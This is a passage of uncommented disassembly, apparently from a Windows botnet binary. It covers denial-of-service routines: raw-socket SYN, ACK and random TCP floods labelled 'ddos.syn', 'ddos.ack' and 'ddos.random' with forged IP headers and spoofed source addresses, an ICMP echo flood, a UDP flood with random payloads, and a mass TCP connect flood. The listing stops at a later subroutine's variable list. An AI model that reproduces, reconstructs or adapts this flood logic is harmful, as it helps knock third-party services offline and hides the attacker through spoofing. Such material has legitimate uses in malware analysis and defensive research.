lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CDBD4 ; WSAStartup
test eax, eax
jz short loc_413173
xor eax, eax
jmp loc_41343C
; ---------------------------------------------------------------------------
loc_413173: ; CODE XREF: sub_413133+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CDD08 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_413434
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CDC44 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_41342A
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CDC64 ; ntohs
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CDC64 ; ntohs
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CDC64 ; ntohs
mov [ebp+var_12], ax
call sub_41C0B2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CDC64 ; ntohs
push 12345678h
mov [ebp+var_14], ax
call dword_4CDC60 ; ntohl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_413243
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_413297
; ---------------------------------------------------------------------------
loc_413243: ; CODE XREF: sub_413133+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_41325F
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_413297
; ---------------------------------------------------------------------------
loc_41325F: ; CODE XREF: sub_413133+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_413297
call sub_41C0B2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41C0B2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_413297: ; CODE XREF: sub_413133+10Ej
; sub_413133+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CDC64 ; ntohs
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_428138 ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call dword_428134 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41DA80
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_4132E5: ; CODE XREF: sub_413133+2E2j
; sub_413133+2EEj
mov [ebp+var_4], bx
call sub_41C0B2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CDC64 ; ntohs
mov [ebp+var_14], ax
call sub_41C0B2
mov edi, eax
shl edi, 10h
call sub_41C0B2
or edi, eax
push edi
call dword_4CDC64 ; ntohs
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CDC60 ; ntohl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CDC64 ; ntohs
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AB6D
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41CAE0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41CAE0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BD60
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AB6D
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41CAE0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CDCC8 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413440
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_428134 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_413427
jl loc_4132E5
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jb loc_4132E5
loc_413427: ; CODE XREF: sub_413133+2E0j
mov ebx, [ebp+arg_8]
loc_41342A: ; CODE XREF: sub_413133+78j
; sub_413133+334j
push [ebp+var_20]
call dword_4CDCFC ; closesocket
pop esi
loc_413434: ; CODE XREF: sub_413133+5Bj
call dword_4CDBBC ; WSACleanup
mov eax, ebx
loc_41343C: ; CODE XREF: sub_413133+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413440: ; CODE XREF: sub_413133+2CBj
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_4387BC
push eax
call sub_41C056
lea eax, [ebp+var_F4]
push eax
call sub_4157A5
add esp, 10h
jmp short loc_41342A
sub_413133 endp
; =============== S U B R O U T I N E =======================================
sub_413469 proc near ; CODE XREF: sub_413081+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AA04
push [esp+10h+arg_4]
mov esi, eax
call sub_41BF49
push [esp+14h+arg_C]
mov ebx, eax
call sub_41BF49
mov edi, eax
call sub_41C0B2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_413133
add esp, 20h
test eax, eax
jnz short loc_4134B6
inc eax
loc_4134B6: ; CODE XREF: sub_413469+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_413469 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134C5 proc near ; DATA XREF: sub_401B66+664Bo
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_1BC]
push 0FFh
inc ebx
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_4CDCE4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_413560
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_4388BC
push eax
call sub_41C056
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413543
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409982
add esp, 14h
loc_413543: ; CODE XREF: sub_4134C5+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_4157A5
push [ebp+var_38]
call sub_40B2A3
pop ecx
pop ecx
push edi
call dword_4280CC ; ExitThread
loc_413560: ; CODE XREF: sub_4134C5+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_4CDC44 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_4135D7
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_43888C
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4135BA
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409982
add esp, 14h
loc_4135BA: ; CODE XREF: sub_4134C5+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_4157A5
push [ebp+var_38]
call sub_40B2A3
pop ecx
pop ecx
push edi
call dword_4280CC ; ExitThread
loc_4135D7: ; CODE XREF: sub_4134C5+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4CDCA4 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_41363E
lea eax, [ebp+var_3BC]
push offset unk_43886C
push eax
call sub_41C056
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_413621
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409982
add esp, 14h
loc_413621: ; CODE XREF: sub_4134C5+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_4157A5
push [ebp+var_38]
call sub_40B2A3
pop ecx
pop ecx
push edi
call dword_4280CC ; ExitThread
loc_41363E: ; CODE XREF: sub_4134C5+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_4CDC64 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4CDCA4 ; inet_addr
mov esi, dword_4280A8
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
jmp loc_41379F
; ---------------------------------------------------------------------------
loc_413681: ; CODE XREF: sub_4134C5+2EBj
push 41Ch
mov byte_4D0AB8, 45h
call dword_4CDC64 ; ntohs
cmp [ebp+var_2C], edi
mov word_4D0ABA, ax
mov word_4D0ABC, bx
mov word_4D0ABE, di
mov byte_4D0AC0, 80h
mov byte_4D0AC1, bl
mov word_4D0AC2, di
jz short loc_4136F0
call sub_41C0B2
mov ebx, eax
shl ebx, 8
call sub_41C0B2
add ebx, eax
shl ebx, 8
call sub_41C0B2
add ebx, eax
shl ebx, 8
call sub_41C0B2
add ebx, eax
mov dword_4D0AC4, ebx
xor ebx, ebx
inc ebx
jmp short loc_413708
; ---------------------------------------------------------------------------
loc_4136F0: ; CODE XREF: sub_4134C5+1F9j
push [ebp+var_1BC]
call sub_40AB14
pop ecx
push eax
call dword_4CDCA4 ; inet_addr
mov dword_4D0AC4, eax
loc_413708: ; CODE XREF: sub_4134C5+229j
mov eax, [ebp+var_18]
mov dword_4D0AC8, eax
call sub_41C0B2
cdq
mov ecx, 100h
idiv ecx
mov byte_4D0ACC, dl
call sub_41C0B2
cdq
mov ecx, 100h
idiv ecx
mov byte_4D0ACD, dl
call sub_41C0B2
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_4D0ACE, di
mov word_4D0AD2, bx
inc edx
mov word_4D0AD0, dx
call sub_41C0B2
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_4D0AD4
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_4D0AB8
push [ebp+var_4]
call dword_4CDCC8 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_41383B
inc [ebp+arg_0]
loc_41379F: ; CODE XREF: sub_4134C5+1B7j
call esi ; GetTickCount
sub eax, [ebp+var_8]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_30]
jbe loc_413681
push [ebp+var_4]
call dword_4CDCFC ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_438820
push eax
call sub_41C056
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_41381E
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409982
add esp, 14h
loc_41381E: ; CODE XREF: sub_4134C5+337j
lea eax, [ebp+var_3BC]
push eax
call sub_4157A5
push [ebp+var_38]
call sub_40B2A3
pop ecx
pop ecx
push edi
call dword_4280CC ; ExitThread
loc_41383B: ; CODE XREF: sub_4134C5+2D1j
push [ebp+var_4]
call dword_4CDCFC ; closesocket
call dword_4CDBF8 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_4387D8
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41C150
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_413893
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409982
add esp, 14h
loc_413893: ; CODE XREF: sub_4134C5+3ACj
lea eax, [ebp+var_3BC]
push eax
call sub_4157A5
push [ebp+var_38]
call sub_40B2A3
pop ecx
pop ecx
push edi
call dword_4280CC ; ExitThread
sub_4134C5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4138B0 proc near ; DATA XREF: sub_401B66+544Bo
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_41C2F0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
xor edi, edi
inc edi
mov [eax+120h], edi
call dword_4CDBEC ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4CDCA4 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41390B
lea eax, [ebp+var_C0]
push eax
call dword_4CDCE8 ; gethostbyname
cmp eax, ebx
jz short loc_413911
loc_41390B: ; CODE XREF: sub_4138B0+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_41396E
loc_413911: ; CODE XREF: sub_4138B0+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_438914
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413951
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409982
add esp, 14h
loc_413951: ; CODE XREF: sub_4138B0+7Fj
lea eax, [ebp+var_344]
push eax
call sub_4157A5
push [ebp+var_30]
call sub_40B2A3
pop ecx
pop ecx
push edi
call dword_4280CC ; ExitThread
loc_41396E: ; CODE XREF: sub_4138B0+5Fj
cmp eax, ebx
jz short loc_41397E
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_413981
; ---------------------------------------------------------------------------
loc_41397E: ; CODE XREF: sub_4138B0+C0j
mov [ebp+var_4], esi
loc_413981: ; CODE XREF: sub_4138B0+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41BD60
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_4139A1
mov [ebp+var_3C], eax
loc_4139A1: ; CODE XREF: sub_4138B0+ECj
cmp [ebp+var_38], edi
jge short loc_4139A9
mov [ebp+var_38], edi
loc_4139A9: ; CODE XREF: sub_4138B0+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_4139D6
loc_4139B0: ; CODE XREF: sub_4138B0+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4CDB7C ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_4139B0
loc_4139D6: ; CODE XREF: sub_4138B0+FEj
push [ebp+arg_0]
call dword_4CDD18 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_4388E8
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413A1F
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409982
add esp, 14h
loc_413A1F: ; CODE XREF: sub_4138B0+14Dj
lea eax, [ebp+var_344]
push eax
call sub_4157A5
push [ebp+var_30]
call sub_40B2A3
pop ecx
pop ecx
push ebx
call dword_4280CC ; ExitThread
sub_4138B0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A3C proc near ; DATA XREF: sub_401B66+56A1o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_41C2F0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
xor esi, esi
inc esi
mov [eax+120h], esi
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
pop ecx
push 11h
push 2
push 2
call dword_4CDCE4 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_4CDCA4 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_413B21
lea eax, [ebp+var_B0]
push eax
call dword_4CDCE8 ; gethostbyname
cmp eax, edi
jnz short loc_413B1A
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_438968
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_413AFD
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409982
add esp, 14h
loc_413AFD: ; CODE XREF: sub_413A3C+9Fj
lea eax, [ebp+var_334]
push eax
call sub_4157A5
push [ebp+var_20]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
loc_413B1A: ; CODE XREF: sub_413A3C+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_413B24
; ---------------------------------------------------------------------------
loc_413B21: ; CODE XREF: sub_413A3C+6Ej
lea eax, [ebp+arg_0]
loc_413B24: ; CODE XREF: sub_413A3C+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_413B3F
call sub_41C0B2
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_413B42
; ---------------------------------------------------------------------------
loc_413B3F: ; CODE XREF: sub_413A3C+F0j
push [ebp+var_24]
loc_413B42: ; CODE XREF: sub_413A3C+101j
call dword_4CDC64 ; ntohs
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_413B54
mov [ebp+var_24], esi
loc_413B54: ; CODE XREF: sub_413A3C+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_413B61
mov [ebp+var_24], eax
loc_413B61: ; CODE XREF: sub_413A3C+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_413B75
mov [ebp+var_28], esi
loc_413B75: ; CODE XREF: sub_413A3C+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_413BEE
loc_413B7C: ; CODE XREF: sub_413A3C+158j
call sub_41C0B2
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_413B7C
jmp short loc_413BEE
; ---------------------------------------------------------------------------
loc_413B98: ; CODE XREF: sub_413A3C+1B5j
dec [ebp+var_30]
push 0Bh
pop esi
loc_413B9E: ; CODE XREF: sub_413A3C+192j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_41C0B2
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_4CDCC8 ; sendto
push [ebp+var_28]
call dword_428064 ; Sleep
dec esi
jnz short loc_413B9E
cmp [ebp+var_24], edi
jnz short loc_413BEE
call sub_41C0B2
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4CDC64 ; ntohs
mov [ebp+var_E], ax
loc_413BEE: ; CODE XREF: sub_413A3C+13Ej
; sub_413A3C+15Aj ...
cmp [ebp+var_30], edi
jg short loc_413B98
dec [ebp+var_30]
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_43893C
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_413C36
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409982
add esp, 14h
loc_413C36: ; CODE XREF: sub_413A3C+1D8j
lea eax, [ebp+var_334]
push eax
call sub_4157A5
push [ebp+var_20]
call sub_40B2A3
pop ecx
pop ecx
push edi
call dword_4280CC ; ExitThread
sub_413A3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C53 proc near ; DATA XREF: sub_401B66+4D11o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_413DA9
push eax
lea eax, [ebp+var_414]
push offset dword_438990
push eax
call sub_41C056
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_413CD0
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409982
add esp, 14h
loc_413CD0: ; CODE XREF: sub_413C53+5Bj
lea eax, [ebp+var_414]
push eax
call sub_4157A5
push [ebp+var_10]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_413C53 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413CEF proc near ; CODE XREF: sub_413DA9+27p
var_654 = dword ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CDC64 ; ntohs
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_413DA5
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413D39: ; CODE XREF: sub_413CEF+B2j
xor esi, esi
loc_413D3B: ; CODE XREF: sub_413CEF+77j
push 0
push 1
push 2
call dword_428220 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+esi*4+var_654], eax
jz short loc_413D63
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call dword_4281F8 ; ioctlsocket
loc_413D63: ; CODE XREF: sub_413CEF+62j
inc esi
cmp esi, edi
jl short loc_413D3B
xor esi, esi
loc_413D6A: ; CODE XREF: sub_413CEF+91j
lea eax, [ebp+var_14]
push 10h
push eax
push [ebp+esi*4+var_654]
call dword_428210 ; connect
inc esi
cmp esi, edi
jl short loc_413D6A
push 64h
call dword_428064 ; Sleep
xor esi, esi
loc_413D8C: ; CODE XREF: sub_413CEF+ADj
push [ebp+esi*4+var_654]
call dword_42821C ; closesocket
inc esi
cmp esi, edi
jl short loc_413D8C
dec [ebp+arg_4]
jnz short loc_413D39
pop edi
pop esi
loc_413DA5: ; CODE XREF: sub_413CEF+3Ej
xor eax, eax
leave
retn
sub_413CEF endp
; =============== S U B R O U T I N E =======================================
sub_413DA9 proc near ; CODE XREF: sub_413C53+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AA04
push [esp+10h+arg_4]
mov edi, eax
call sub_41BF49
push [esp+14h+arg_8]
mov ebx, eax
call sub_41BF49
mov esi, eax
push esi
push ebx
push edi
call sub_413CEF
add esp, 18h
test eax, eax
jnz short loc_413DDD
inc eax
loc_413DDD: ; CODE XREF: sub_413DA9+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_413DA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413DEC proc near ; DATA XREF: sub_401B66+6363o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_414139
push eax
lea eax, [ebp+var_414]
push offset unk_4389BC
push eax
call sub_41C056
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_413E69
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409982
add esp, 14h
loc_413E69: ; CODE XREF: sub_413DEC+5Bj
lea eax, [ebp+var_414]
push eax
call sub_4157A5
push [ebp+var_10]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_413DEC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E88 proc near ; CODE XREF: sub_414139+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
